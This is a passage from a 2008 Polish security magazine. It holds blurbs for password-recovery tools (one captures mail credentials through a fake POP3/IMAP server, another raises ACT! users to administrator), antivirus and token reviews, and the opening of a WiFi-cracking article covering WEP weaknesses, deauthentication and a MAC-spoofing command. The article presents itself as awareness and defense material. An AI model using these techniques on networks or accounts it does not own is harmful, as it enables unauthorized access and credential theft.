Odzyskiwanie haseł 
do kont pocztowych i profili

Advanced Mailbox Password Recovery 
natychmiastowo odzyskuje lokalnie 
przechowywane informacje dotyczące 
loginów i haseł chroniących konta i 
profile, obsługując wiele popularnych 
klientów poczty. Przy pomocy 
załączonego emulatora serwera POP3/
IMAP program Advanced Mailbox 

Password Recovery odzyskuje hasła do 
kont POP3 i IMAP wszystkich istniejących 
klientów poczty.
Właściwości i korzyści:

•   odzyskuje hasła różnych klientów 

poczty,

•   odzyskuje hasła do wszystkich kont,
•   odzyskuje hasła protokołu wysłania 

(SMTP) i otrzymywania (POP3/IMAP),

•   odzyskuje hasła do profilu i hasła 

administratora,

•   odzyskuje hasła POP3/IMAP wszystkich 

klientów poczty z emulatorem serwera 
POP3/IMAP,

•   odzyskuje hasła odinstalowanych 

klientów poczty,

•   odzyskuje zawierające błędy bazy 

danych e-mail i instalacje,

•   całkowita automatyzacja operacji 

pozwala na wyświetlenie wszystkich 
haseł naraz,

•  zawierające błędy bazy danych 

i klienci poczty są obsługiwane 
ręcznie.

background image

10

 

NA CD

HAKIN9 9/2008

11

 

HAKIN9 

9/2008

Uniwersalna kompatybilność

Advanced Mailbox Password Recovery 
może odzyskać informacje dotyczące 
loginu i hasła do kont POP3 i IMAP od 
jakiegokolwiek klienta poczty. Załączony 
emulator serwera POP3/IMAP przejmuje 
informacje dotyczące loginu i hasła 
wysłane na serwer poczty.

Klienci mobilni

Zapomniane hasła POP3 lub IMAP klienta 
mobilnego, takiego jak telefon komórkowy 
lub mobilny komunikator Windows, mogą 
być trudne do odzyskania bez programu 
Advanced Mailbox Password Recovery, ale z 
nim ich odzyskanie nie może być łatwiejsze. 

Wystarczy zastąpić serwer POP3/

IMAP na urządzeniu mobilnym adresem 
emulatora serwera POP3/IMAP, a 
Advanced Mailbox Password Recovery 
przechwyci i wyświetli hasło w chwili, 
kiedy urządzenie mobilne będzie łączyć 
się z serwerem, aby pobrać nowe 
wiadomości.

Natychmiastowe odzyskiwanie

Przy pomocy Advanced Mailbox Password 
Recovery można zobaczyć wszystkie 
hasła do poczty elektronicznej naraz! 

Advanced Mailbox Password Recovery 

skanuje system i odzyskuje wszystkie 
rodzaje haseł stosowanych dla klientów 
poczty w zaledwie kilka sekund.

Hasła do zawierających błędy 
skrzynek poczty elektronicznej

W trybie ręcznym Advanced Mailbox 
Password Recovery odzyskuje hasła do 
zawierających błędy baz danych e-mail 
i może pracować nawet wtedy, gdy klient 
poczty jest odinstalowany.

Produkt nie może być wykorzystany do 

odczytywania haseł innych osób.

ADVANCED ACT PASSWORD 

RECOVERY

Natychmiastowe odzyskiwanie 
haseł do dokumentów ACT

Natychmiastowe odzyskiwanie zagubionych 
lub zapomnianych haseł chroniących pliki 
BLB, MUD i ADF/PAD utworzonych w ACT!. 

Oprogramowanie do lokalnego i 

zdalnego zarządzania informacjami 
osobistymi wyprodukowane przez 

Symantec, Best Software oraz Sage. 
Advanced ACT Password Recovery 
obsługuje wszystkie wersje ACT!, łącznie z 
ostatnią – 2008.

Nie ma konieczności instalowania 

Advanced ACT Password Recovery 
na serwerze, aby odzyskać hasło. 
Dysponujemy możliwością otwierania 
chronionych hasłem baz danych z 
jakiegokolwiek komputera w sieci, który 
ma zdalny dostęp do bazy danych. 
Jako dodatkowy bonus, Advanced 
ACT Password Recovery umożliwia 
zmianę funkcji ochrony użytkowników 
baz danych ACT!, np. zamiana konta 
użytkownika z Ograniczonego na konto 
Administratora. 

Bezpośrednia kontrola 

zablokowanych dokumentów w różnych 
formatach zestawu ACT! – nieważne, jak 
długie i złożone jest hasło. Advanced 
ACT Password Recovery odzyskuje 
wszystkie hasła natychmiastowo bez 
długich ataków i zaawansowanych 
ustawień. 

Wystarczy aktywować Advanced ACT 

Password Recovery i kliknąć Open, aby 
natychmiast zobaczyć lub ponownie 
ustawić hasło.

Advanced ACT Password Recovery 

odzyskuje hasła chroniące dokumenty 
zapisane w każdej wersji Symantec, Best 
Software oraz w wersjach Sage ACT! 
łącznie z najnowszą wersją ACT! 2008.
Właściwości i korzyści:

•   gwarancja odzyskiwania haseł do 

dokumentów ACT! utworzonych w 
wersjach powstałych do roku 2005,

•   gwarancja ponownego ustawiania 

haseł do dokumentów ACT! 
utworzonych w wersjach powstałych w 
roku 2005 i kolejnych,

•   obsługuje wszystkie wersje ACT! 

wyprodukowane przez Symantec, Best 
Software oraz Sage, włączając ACT! 
2008,

•   odzyskuje hasła we wszystkich językach 

i kodowaniach,

•   odzyskuje hasła na komputerach 

lokalnych i zdalnych,

•  zmienia funkcje bezpieczeństwa 

użytkowników baz danych ACT!, 
np. zmienia konto użytkownika 
z Ograniczonego na konto 
Administratora.

Gwarancja dostępu 
do chronionych dokumentów ACT! 

Advanced ACT Password Recovery 
gwarantuje odblokowywanie chronionych 
hasłem dokumentów ACT!, niezależnie od 
tego, jak rygorystyczna jest polityka firmy w 
dziedzinie zabezpieczeń. 

Długie, złożone lub międzynarodowe 

hasła są również odzyskiwane przez 
Advanced ACT Password Recovery bardzo 
szybko.

ESCAN ANTIVIRUS

Program antywirusowy eScan jest 
narzędziem zabezpieczającym przed 
wirusami, trojanami, robakami i innym 
zagrożeniami, które znajdują się w 
Internecie. Jest oparty na technologii 
MicroWorld Winsock Layer (MWL). MWL 
tworzy warstwę ochronną wokół systemu i 
zabezpiecza go od momentu włączenia aż 
do zamknięcia. Główne funkcje narzędzia:

•   inteligentne wykrywanie wirusów, 

możliwość usuwania w locie,

•   zapewnia kontrolę rodzicielską,
•   chroni przed spamem, blokuje 

potencjalnie zagrażające maile i 
załączniki,

•   posiada heurystyczny silnik skanujący;
•   Prawa plików: zapobiega zdalnemu 

tworzeniu i modyfikacji plików na 
lokalnym komputerze,

•  pakiet narzędziowy MWAV: (MicroWorld 

AntiVirus).

NA CD

background image

12

 

NARZĘDZIA

HAKIN9 9/2008

13

 

HAKIN9 

9/2008

Instalacja jest wyjątkowo szybka 
i bezproblemowa. Nie musimy 
podczas niej konfigurować nowego 

oprogramowania, a jedyną opcją, z której warto 
skorzystać, jest zabezpieczenie dostępu do 
ustawień oprogramowania hasłem. Jej użycie 
można zarekomendować zwłaszcza rodzicom, 
chcącym ograniczyć i kontrolować internetowe 
wybryki swoich pociech, a także administratorom 
firmowych sieci, dbającym o bezpieczeństwo 
pracowników swych firm.

Po zainstalowaniu przyjdzie kolej na aktywację 

oprogramowania – nie wystarczy tu podanie 
numeru seryjnego znajdującego się w pudełku. 
Trzeba będzie się zarejestrować, a dopiero 
pomyślne przejście tego procesu da nam dostęp 
do nazwy użytkownika i hasła, dzięki którym w pełni 
aktywujemy oprogramowanie. Od teraz cały pakiet 
dba o nasz komputer. Do pełni bezpieczeństwa 
trzeba jeszcze tylko dokonać aktualizacji i pełnego 
skanowania systemu.

Główne okno programu jest przejrzyste i daje 

dostęp do poszczególnych opcji poprzez system 
zakładek. Pierwsza zakładka – Status – prezentuje 
informacje o uruchomionych modułach i dacie 
ostatniej aktualizacji bazy definicji wirusów. 
Kolejna zakładka to AntiVirus. Pozwala ona 
zakutalizować program na żądanie (proces ten 
może się odbywać automatycznie), przeskanować 
cały system bądź też jego wybrany fragment. 
Tutaj też można przejrzeć pliki znajdujące się w 
kwarantannie i zmienić ustawienia antywirusa – w 
tym zaplanować okresowe skanowania systemu.

Do zarządzania firewallem autorzy programu 

udostępnili nam osobny zestaw opcji w 
zakładce – jakżeby inaczej – Firewall. Mamy 
możliwość określania reguł dla aplikacji, portów 
i sieci, z jakimi jesteśmy połączeni. Dla mniej 
zaawansowanych użytkowników powstał tryb 
autopilota, podejmujący za nich większość decyzji. 
AntiSpam to zakładka filtrująca spam, ale także 
niebezpieczne skrypty ukryte w treści HTML oraz 
neutralizująca niebezpieczne załączniki. Możemy 
też tu podejrzeć statystki działania modułu i rejestr 
aktywności. 

Bardzo przydatna jest opcja chroniąca nasze 

działania w Internecie. Moduł odpowiedzialny 
za tę funkcjonalność nosi nazwę WebFilter, a 

zakładka o tej samej nazwie umożliwia m.in. 
konfigurację ustawień tej dziedziny ochrony 
oraz kontrolę operacji czyszczenia prywatnych 
danych użytkownika, które mogą wyciec podczas 
surfowania po Internecie. WebFilter troszczy się o 
to, abyśmy nie padli ofiarą ataku phishingowego. 
Blokowanie reklam, uciążliwych popupów oraz 
niebezpiecznych skryptów wszelkiej maści 
to kolejne możliwości tego modułu. WebFilter 
potrafi się nawet zintegrować z przeglądarką, w 
której pojawia się pasek, umożliwiający szybkie 
włączenie bądź wyłączenie części funkcjonalności 
programu, a także dodanie odwiedzanej strony do 
listy zaufanych witryn.

Kontrola rodzicielska pozwala na definiowanie 

treści dozwolonych i niedozwolonych oraz na 
kontrolowanie czasu dostępu do komputera do 
Internetu. Narzędzie to może być równie dobrze 
wykorzystywane przez administratorów sieci 
firmowych do ograniczania zbytniej swobody 
działania pracowników.

Wyjątkową funkcją pakietu jest tuning. 

Umożliwia on poprawienie bezpieczeństwa i 
wydajności komputera oraz zapewnia ochronę 
danych użytkowników komputera. Warto tu 
wymienić choćby kilka dostępnych ustawień, 
takich jak: włączenie skanowania ściągniętych 
z Internetu plików, wyłączenie uruchamiania 
skryptów, defragmentacja dysków, uaktywnienie 
trybu DMA, usuwanie historii przeglądanych stron 
itd. Jeszcze jedną ciekawą – i niespotykaną w 
innych pakietach bezpieczeństwa – opcją jest 
moduł backupu. Backup można wykonać na 
płycie, na innym dysku bądź na koncie FTP. Wraz 
z pakietem dostajemy 1 GB miejsca na serwerze 
FTP, ale oczywiście za dopłatą można tę ilość 
zwiększyć. Oczywiście można usuwać stare 
kopie, aby zrobić miejsce dla nowych. Backup 
można planować tak, aby odbywał się cyklicznie. 
Jak większość modułów, i ten oferuje dostęp do 
raportów swojej aktywności.

GDATA TotalCare oferuje kompleksowe 

bezpieczeństwo – nawet dziś, kiedy atak 
może przyjść z każdej strony. Innowacyjne 
funkcje backupu i tuningu sprawiają, że ten 
pakiet wyróżnia się na rynku i jest ciekawą 
propozycją dla użytkowników dbających o swoje 
bezpieczeństwo.

GDATA TotalCare

Producent

GDATA

System

MS Windows

Typ

Pakiet zabezpieczający

Strona producenta

http://www.gdata.pl

««««

«

OCENA

background image

12

 

NARZĘDZIA

HAKIN9 9/2008

13

 

HAKIN9 

9/2008

To urządzenie pozwala na 
przechowywanie hasła – tokenu. 
Prezentowana dziś wersja jest inteligentną 

kartą kryptograficzną. Zakupując ją otrzymamy 
dodatkowo płytę z aplikacjami: MS_NetLogOn, 
TMS2SSO3com, PKI_Client (ver: Mac, Linux, Win) 
etsso30, etssote30, TMS_client_2.0, TMS_Schema_
Instal_2.0, TMS_Server_2.0, WSO_1_5. 

Taką kartę możemy wykorzystać do 

przechowywania kluczy dostępowych do systemu 
operacyjnego, bankowości elektronicznej oraz 
ochrony elektronicznych aplikacji biznesowych.

Sam e-Token pracuje na 1024 i 2048-bitowych 

kluczach RSA, pozwala także na wewnętrzne 
generowanie kluczy prywatnych i publicznych. 
Inteligentne karty dają możliwość logowania się 
do stacji roboczej i sieci bez podawania hasła. 
W zależności od ustawień e-Token zapewnia 
dwustopniową autoryzację dostępu (klucz e-Token 
+ hasło), jednak oprogramowanie pozwala nam 
przełączyć się w tryb autoryzacji jednopoziomowej 
(klucz e-Token); nie wymaga zastosowania 
dodatkowego czytnika.

e-Token to urządzenie w wersji z dwoma 

rozmiarami pamięci zapisu i odczytu: 32 kB i 
64 kB (Java Virtual Machine 72k). Pamięć jest 
chroniona hasłem, które jest przechowywane w 
pamięci w postaci zakodowanej: 16-bajtowego 
kodu (PIN). Inne dane także nie są bezpośrednio 
transmitowane do klucza – w tym celu zostaje 
wykorzystuje się protokół challenge-response, przy 
każdym dostępie zmieniając klucz szyfrujący. Dzięki 
temu, że wykorzystywany jest standardowy interfejs 
USB, używanie klucza staje się niezwykle łatwe.

Wśród programów znajdujących się na płycie 

CD znajduje się między innymi MS_NetLogOn, który 
pozwala nam na zalogowanie się do komputera 
bez podawania hasła. Sama instalacja programu 
jest bardzo prosta – wystarczy uruchomić instalator 
i konsekwentnie klikać Dalej. Następnym krokiem 
jest ponowne uruchomienie komputera. Pierwsza 
różnica, jaka daje się zauważyć, to zmiana sposobu 
logowania – ponieważ na razie nie jest zainicjowany 
żaden e-token, wybieramy logowanie standardowe 
i wpisujemy hasło. Następnie przystępujemy do 
instalacji urządzenia: wpinamy e-Token w port USB 
i klikamy nową ikonę z tacki systemowej (tray). W 
zakładce Narzędzia mamy dostęp do wszystkich 

urządzeń e-Token podłączonych do komputera. 
Z podstawowych operacji mamy możliwość 
zmiany nazwy naszej inteligentnej karty szyfrującej 
i przejrzenia informacji o niej. Jednak dopiero 
zakładka Zaawansowane otwiera nam prawdziwe 
pole do popisu. Wybieramy nasz świeżo wpięty 
e-Token, następnie klikamy Inicjuj e-Token. Otwiera 
się okno parametrów inicjalizacyjnych, w którym 
decydujemy o nazwie urządzenia oraz haśle dla 
użytkownika oraz administratora. Wykorzystując 
opcje zaawansowane wybieramy także: tryb 
kompatybilności, opcję Zapisz politykę haseł na 
e-Token, tryb FIPS, pojedyncze logowanie, Wsparcie 
dla 2048-bitowych kluczy RSA czy Wsparcie dla 
HMAC SHA1 itd. Konfigurujemy inteligentną kartę 
według własnych potrzeb. Teraz zrobimy test: 
wylogowujemy aktualnego użytkownika i wkładamy 
e-Token Pro. System rozpoczyna logowanie, do 
którego jest potrzebny klucz e-Token – powinien 
on zostać ustawiony podczas wcześniejszej 
konfiguracji. Jeśli tego nie zrobiliśmy, przybiera on 
standardową wartość 1234567890.

e-Token jest bardzo ciekawym urządzeniem, 

pozwalającym nam na ograniczenie liczby 
haseł, które musimy zapamiętać – wystarczy raz 
podać hasło do klucza, np. podczas logowania 
się do systemu. Wszystkie pozostałe hasła 
są przechowywane na inteligentnej karcie 
kryptograficznej, która zapewnia im bezpieczeństwo 
dzięki przechowywaniu ich w postaci zakodowanej.

Jak zintegrować e-Token z Firefoksem? Nie 

jest to trudne, gdyż instalator od razu umieścił w 
naszym komputerze wszystkie potrzebne pliki. 
Dodawanie obsługi karty inteligentnej rozpoczynamy 
od uruchomienia Firefoksa. Konfigurację 
przeglądarki zaczynamy od menu Narzędzia, gdzie 
wybieramy opcje programu, następnie zakładkę 
Zaawansowane i potem Szyfrowanie. Interesująca 
nas opcją to Urządzenia zabezpieczające. Po prawej 
stronie na liście rozwijalnej widzimy zainstalowany 
e-Token. Zaznaczamy go i odczytujemy listę 
parametrów, a następnie wybieramy Włącz 
FIPS. Dzięki ustawieniu funkcji hasła głównego w 
karcie szyfrującej, e-Token powinien teraz zacząć 
przechowywać hasła wpisywane w newralgicznych 
miejscach podczas surfowania w sieci Internet. 
Przez aplikację e-Token Properties importujemy 
także certyfikaty do urządzenia.

Producent

Aladdin

System

Windows 98/98SE/Me/
2000/XP oraz NT4.0 SP6 
i nowsze

Strona dystrybutora

http://www.clico.pl

e-Token – Pro 

(CardOS 4.2B)

«««««

OCENA

NARZĘDZIA

background image

14

 

NARZĘDZIA

HAKIN9 9/2008

Wirusy stanowią codzienny problem 
użytkowników komputerów. System 
jest na nie narażony dosłownie 

od momentu włączenia. Ryzyko spotkania 
z szalejącym w sieci wirusem wzrasta, 
jeśli za pośrednictwem internetu lub sieci 
lokalnej pobierane są pliki. W tej sytuacji 
użytkownicy, którzy z różnych powodów zależni 
są od technologii informatycznych i sprzętu 
komputerowego, chcieliby mieć do dyspozycji 
zestaw narzędzi, który sam zajmie się 
tropieniem wirusów w systemie, a im pozwoli 
spać spokojnie. Najlepiej, jeśli nie tylko znajdą 
wirusa, ale również przeprowadzą kwarantannę 
i utworzą loga z zapisem całości procesu 
skanowania. 

Szybki start : Instalacja jest bardzo prosta, 

ponieważ w znacznym stopniu przypomina 
proces instalowania oprogramowania 
windowsowego. Należy do rodzaju Zaznacz-
I-Kliknij i wszystko inne zrobi za użytkownika. 
Rysunek 1 pokazuje panel administracyjny 
narzędzia eSkan. Wyposażony jest on w 
bardzo proste i eleganckie rozwiązania 
dostosowane do każdego rodzaju użytkownika. 
Program może pracować według ustalonego 
harmonogramu i na różnych poziomach 
czynnej ochrony.

Użytkownik może wybrać dysk do 

skanowania z okna na życzenie i kliknąć 
„skanuj”. Po zakończeniu skanowania zostanie 
utworzona lista niepożądanych programów 
i w tym samym czasie przedstawiona 
użytkownikowi, aby mógł się zapoznać z 
wirusami znalezionymi w systemie. Rysunek 2 
przedstawia okno skanowania pojawiające się 
w momencie rozpoczęcia skanowania. eScan 
jest regularnie aktualizowany, a uruchomienie 
automatycznego sprawdzenia dostępności 
aktualizacji jest bardzo proste i robi wszystko za 
użytkownika. 

Zalety

Instalacja, skanowanie, aktualizacja i 
wybieranie trybu są szybkie i proste. Instrukcja 
obsługi jest dobrze zorganizowana na 
wypadek „utknięcia” w dowolnym miejscu 
w czasie użytkowania programu. Logi 

uwzględniają każdy szczegół skanowania, co 
pozwala nawet początkującym użytkownikom 
łatwo zrozumieć zainfekowany plik. Również 
aktualizacje są częste. 

Wady

Ogólnie rzecz biorąc, programy antywirusowe 
zawsze będą miały swoje ograniczenia. Będą 
rozpoznawały jedynie sygnatury złośliwych 
programów znanych specjalistom od 
bezpieczeństwa pracującym dla producenta 
danego produktu. Z tego powodu programy 
antywirusowe nie są w stanie rozpoznawać 
wirusów, których sygnatur nie znają. Jest 
to najpoważniejsza wada wszelkiego tego 
typu oprogramowania. Poza nią, w czasie 
użytkowania produktu nie zauważyłem żadnych 
wad.

eScan

«««««

OCENA

Rysunek 1. 

Panel administracyjny na życzenie

Rysunek 2. 

Okno skanowania

System operacyjny

Windows

Licencja

Komercyjna

Aplikacja

eScan

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona 

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

16

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

17

 

ŁAMANIE WIFI

HAKIN9 

9/2008

W dzisiejszym świecie ludzie używają różnorodnych mediów do porozumiewania się 

ze sobą. Media te mają różne właściwości, co wpływa na zastosowanie w określonym 

środowisku danego sposobu komunikacji. W XXI wieku najważniejsza jest informacja, a 

właściwie szybkość jej przepływu. Kto posiada aktualne informacje, ten może wpływać 

na otaczający Świat.

Łamanie WIFI

N

ie wyobrażamy sobie 
współczesnego świata bez 
Internetu. Wprawdzie Internet 

w Polsce ma dopiero 16 lat, niemniej 
na stałe zagościł w większości naszych 
domów. Internetu używamy do czytania 
poczty elektronicznej, przeglądania 
najnowszych wiadomości z kraju czy ze 
świata, do czatowania lub przelewania 
pieniędzy z elektronicznych kont 
bankowych. Należy pamiętać, że Internet 
to nie tylko rozrywka, ale także narzędzie 
pracy, sposób komunikacji i przesyłu 
danych – przy czym dane te często są 
poufne bądź też stanowią tajemnicę 
przedsiębiorstwa. 

Artykuł ten poświęcony będzie sieciom 

WiFi, a więc sieciom bezprzewodowym 
o stosunkowo małym zasięgu 
(wynoszącym ok. 100 m), działającym w 
nielicencjonowanym paśmie 2,4 GHz.

Bezprzewodowy Internet pozwala nam 

cieszyć się nieskrępowanym korzystaniem 
ze swych zasobów, ograniczonym 
właściwie tylko zasięgiem sieci. Celem 
tego artykułu jest uświadomienie 
Czytelnikowi, jakie niebezpieczeństwa 
mogą czyhać w sieciach WiFi oraz jak się 
przed nimi bronić. Na wstępie Czytelnik 
zaznajomiony będzie z podstawowymi 
wiadomościami niezbędnymi do analizy 
sieci WiFi. Zapraszam do lektury artykułu.

TEORIA

Sieci WiFi (z ang. Wireless Fidelity 
– bezprzewodowa wierność) to 

standard bezprzewodowych sieci 
komputerowych, w których jako medium 
transmisyjne wykorzystuje się fale 
elektromagnetyczne emitowane do 
atmosfery ziemskiej. Sieci te mają 
zwykle zasięg ok. 100 m w otwartej 
przestrzeni i pracują w paśmie 
częstotliwości od 2400 MHz do 2485 
MHz. 

Pasmo to nie jest objęte żadnymi 

regulacjami, należy do grupy pasm 
ISM (ang. Industrial, Scientist & Medical 
 przemysł, nauka i medycyna).

Sieć WiFi może być zbudowana w 

jednej z 2 architektur:

•   ad-hoc, czyli bez punktu dostępowego, 

komunikacja odbywa się na zasadzie 
„każdy z każdym”,

•  z infrastrukturą, w której stacje klienckie 

łączą się za pośrednictwem punktu 
dostępowego AP.

O ile w sieciach ad-hoc stacje klienckie 
przesyłają dane między sobą, o tyle w 
sieciach z infrastrukturą istnieje punkt 
dostępowy, który zapewnia dostęp do 
zasobów sieci. Punkt dostępowy AP (ang. 
Access Point) to urządzenie wyposażone 
najczęściej w dwa interfejsy sieciowe: 
kablowy Ethernet oraz bezprzewodowy 
WLAN, z czego pierwszy służy do 
połączenia AP z siecią przewodową, a 
drugi zapewnia komunikację z sieciami 
standardu IEEE 802.11. AP pełni więc 
rolę mostu. Zdecydowanie częściej 
będziemy mieć do czynienia z sieciami 
z infrastrukturą, należy więc znać 
podstawowe informacje dotyczące tego 
rodzaju sieci.

Istnieje pewien specyficzny rodzaj 

sieci WiFi, przeznaczonych do ogólnego 
dostępu. Są to tzw. hotspoty. Są one często 
spotykane w salach konferencyjnych, 
hotelach czy bulwarach nadmorskich. 

Listing 1. 

Informacje o najważniejszych parametrach sieci WiFi

doctor

@doctor

-laptop:~

iwlist ath0 scanning 

ath0      Scan completed : 
          Cell 01 - Address: 00:1B:11:4C:25:BD 
                    ESSID:

"hakin9"

 

                    Mode:Master 
                    Frequency:2.432 GHz 

(

Channel 5

)

 

                    Quality=52/70  Signal level=-43 dBm  Noise level=-95 dBm 
                    Encryption key:on 
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 
                              9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s 
                              48 Mb/s; 54 Mb/s 
                    Extra:bcn_int=100 
                    Extra:wme_ie=dd070050f202000100 

RAFAŁ LYSIK

background image

16

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

17

 

ŁAMANIE WIFI

HAKIN9 

9/2008

Czasami ich funkcjonalność jest 
ograniczona do przeglądania niektórych 
stron WWW lub też jest limitowana 
czasowo. Integralnym punktem hotspotu 
jest oczywiście AP. Dostęp do tych sieci jest 
otwarty.

Pora na analizę bezpieczeństwa 

sieci bezprzewodowych. Każdy 
użytkownik sieci WiFi musi mieć na 
uwadze fakt, że medium transmisyjne 
jest ogólnie dostępne i dowolna osoba, 
wyposażona w odpowiedni sprzęt, 
może podsłuchiwać transmisję w 
takiej sieci. Dobrym porównaniem jest 
tu sytuacja, w której korzystający z 
internetu kablowego, a więc Ethernetu, 
wyprowadza kabel ze swojego domu 
na pobliski parking i wraca do domu 
nie interesując się, czy ktoś może 
podepnie się do owej sieci, czy też 
nie. Tym porównaniem pokazuję, że w 
sieciach bezprzewodowych konieczne 
jest zastosowanie choćby najprostszej 
formy szyfrowania pakietów – tak, aby 
nasze dane nie były przesyłane w 
czystej postaci. O ile bowiem dostęp 
niepowołanych gości do sieci WiFi 
można dość skutecznie ograniczyć, o 
tyle małe są możliwości, aby do hakera 
nie dotarł sygnał radiowy z naszej sieci. 
Nie łudźmy się także małym zasięgiem 
sieci WiFi. Jak pokazały testy [1], możliwe 
jest przeprowadzenie transmisji w sieci 
bezprzewodowej nawet na odległość 
setek kilometrów! Jest to kwestia 
odpowiednio czułych odbiorników oraz 
anten kierunkowych o dużym zysku 
energetycznym.

Reasumując, za bezpieczeństwo 

sieci WiFi jest odpowiedzialny właśnie 
Access Point, tj. mechanizmy i filtry 
w nim zastosowane. Wiele urządzeń 
sieciowych jest gotowych do pracy zaraz 
po wypakowaniu. Jest to może i wygodne 
rozwiązanie (choćby przez analogię 
do Plug and Play), ale nie zaleca się 
tworzenia sieci z hasłami dostępowymi 
i konfiguracją ustawioną przez 
producenta sprzętu. Zdarza się nawet, że 
administrator nie zmienia domyślnego 
hasła routera WiFi, nie wspominając o 
pozostawieniu sieci bez włączonego 
szyfrowania.

Obecnie ponad 70% sieci WiFi jest 

zabezpieczonych, z czego zdecydowana 
większość używa szyfrowania WEP. 

Dowodzi to, że użytkownicy WiFi są 
świadomi niebezpieczeństw i rozumieją 
potrzebę zastosowania dodatkowych 
środków bezpieczeństwa. Sytuacja ta jest 
diametralnie różna od tej sprzed 5 lat, 
gdzie tylko niewielki procent sieci WiFi miał 
jakiekolwiek zabezpieczenia.

Przyjrzyjmy się teraz metodom 

zabezpieczania sieci WiFi.

Administrator sieci zwykle zabezpiecza 

sieć WiFi co najmniej jednym z poniższych 
środków:

•   szyfrowanie WEP,
•   szyfrowanie WPA – WPA II,
•   serwer autoryzacyjny Radius,
•   wyłączenie rozgłaszania ESSID,
•   filtrowanie adresów MAC,
•  stosowanie tuneli VPN.

Omówmy pokrótce najczęściej stosowane 
zabezpieczenia.

Szyfrowanie WEP (ang. Wired 

Equivalent Privacy) – standard 
szyfrowania wprowadzony w 1999 r. Ma 
za zadanie chronić dane w warstwie 
łącza danych. Oparty jest na popularnym 
algorytmie strumieniowym RC4. Definiuje 
klucze 40- lub 104-bitowe, do których 
dołączany jest wektor inicjujący o 
długości 24 bitów. Można znaleźć także 
implementacje z kluczem o długości 
232 bitów, jednak nie wpływa to w 
znaczący sposób na siłę kryptograficzną 
algorytmu. W efekcie klucz kodujący ma 
odpowiednio długość 64 i 128 bitów. 
Tym kluczem jest kodowana wiadomość 
oraz jej suma kontrolna. Aby uniknąć 

szyfrowania tym samym kluczem, stosuje 
się zmienny wektor inicjujący.

KROK1

Działanie algorytmu jest następujące: 

wiadomość jawna XOR strumień 
   szyfrujący = wiadomość zaszyfrowana

Słabość tego algorytmu wynika ze 
słabości wektora inicjującego IV. Jak 
widać z Rysunku 1, porównując dwa 
pakiety szyfrowane z zastosowaniem 
tego samego wektora inicjującego IV, 
możliwe jest obliczenie klucza WEP. 
Warto jeszcze dodać, że wektor inicjacji 
IV przesyłany jest w czystej postaci. Dla 
programu AirCrack potrzebna liczba 
przechwyconych pakietów wynosi 
150.000 dla WEP 64 oraz 500.000 dla 
WEP 128, co przy bardzo obciążonej sieci 
może trwać niecałe 30 minut. Dodatkowo, 
aby szybciej zgromadzić odpowiednią 
ilość pakietów, można wstrzykiwać 
własne pakiety, czyli generować sztuczny 
ruch.

Szyfrowanie WPA-PSK – standard ten 

jest następcą WEP. WPA jest standardem 
przejściowym między WEP a WPA II. 
WPA korzysta z protokołów: TKIP oraz 
uwierzytelnienia EAP. Część sprzętu nie 
wspiera WPA, konieczna jest wtedy zmiana 
firmware urządzenia.

Wyłączenie rozgłaszania ESSID 

– warto wyłączyć rozgłaszanie 
identyfikatora sieci, wiele sterowników 
kart WiFi (choćby systemowy Windows) 

Rysunek 1. 

Działanie algorytmu WEP 

��

�����

���

�����������

�������

�������������������������������

���

��

��

������

�����������

�������

������������

background image

18

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

19

 

ŁAMANIE WIFI

HAKIN9 

9/2008

nie wykrywa sieci, które mają ukryte 
ESSID. Tym sposobem można odebrać 
chęć do poczynienia zniszczeń tzw. 
script kiddies. Wysyłając do stacji 
klienckiej ramkę deautentyfikacji 
spowodujemy jej odłączenie. Klient 
chcąc ponownie się połączyć, musi 
podać identyfikator sieci, a to już można 
przechwycić.

KROK2

Filtrowanie adresów MAC – w tę funkcję 
wyposażony jest każdy dobry router. 
Pozwala ona na dostęp do zasobów 
sieci tylko tym klientom, których adres 
MAC znajduje się na liście zapisanej w 
pamięci routera. Jest to zabezpieczenie 
proste do złamania, należy jedynie 
przechwycić pakiety autoryzowanych 
klientów, a następnie podszyć się pod 
nich.

Aby zmienić adres sprzętowy MAC, 

należy wpisać w konsoli:

#ifconfig <interface> hw ether <new 

MAC>

Na tym etapie podamy cechy, jakie 
musi spełniać sieć WiFi, aby była 
zakwalifikowana jako bezpieczna. Te 
cechy to:

•   poufność – dane wysyłane przez 

stacje klienckie z sieci WiFi powinny być 
odczytane w oryginalnej postaci jedynie 
przez adresata wiadomości,

•   integralność – dane docierające 

do odbiorcy wiadomości powinny 
pozostać w niezmienionej postaci,

•  wierzytelność – zapewnienie, że dane 

pochodzą z wiarygodnego (zaufanego) 
źródła.

W tym miejscu zastanówmy się, jakie mogą 
być powody włamywania się do sieci WiFi. 
Może to być:

•   chęć korzystania z darmowego 

Internetu,

•   próba podsłuchania/wykradzenia 

ważnych danych,

•   próba sparaliżowania pracy całej 

sieci,

•   kontrolowane testy bezpieczeństwa,
•  zabawa.

ATAK

Dla celów testowych stworzona została 
sieć składająca się z 3 maszyn: punktu 
dostępowego AP, stacji klienckiej, która 
łączy się poprzez AP, oraz laptopa hakera, 
na którym dokonuje się przechwytywania 
pakietów oraz łamania zabezpieczeń sieci.

AP (i router w jednym) DIR-655 posiadał 

włączone rozgłaszanie ESSID („hakin9”), 
włączone szyfrowanie WEP 64, kanał pracy 
został ustalony na 5. Klient Client 1 pobierał 
dane z sieci strumieniowo, przy średnim 
poziomie 50 kB/s. 

Laptop hakera wraz z 

zainstalowanym Linux Back Track 
na pokładzie był wyposażony w 
oprogramowanie AirCrack i Wireshark. 
Karta WiFi na laptopie hakera pracowała 
w trybie monitor.

KROK3

Schemat ataku

Najpierw atakujący przeprowadza 
rozpoznanie sieci, a więc wykonuje 
działania mające na celu zdobycie 

Rysunek 3.

 Schemat testowej sieci WiFi

��������

������

��������

���������

������������

Rysunek 2. 

Funkcje konfiguracji sieci w routerze AP WiFi

background image

18

 

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

19

 

ŁAMANIE WIFI

HAKIN9 

9/2008

informacji o sieciach pozostających w 
zasięgu.

KROK4

Omówmy powyższy schemat ataku. Po 
przeskanowaniu sieci (1) (skanerem 
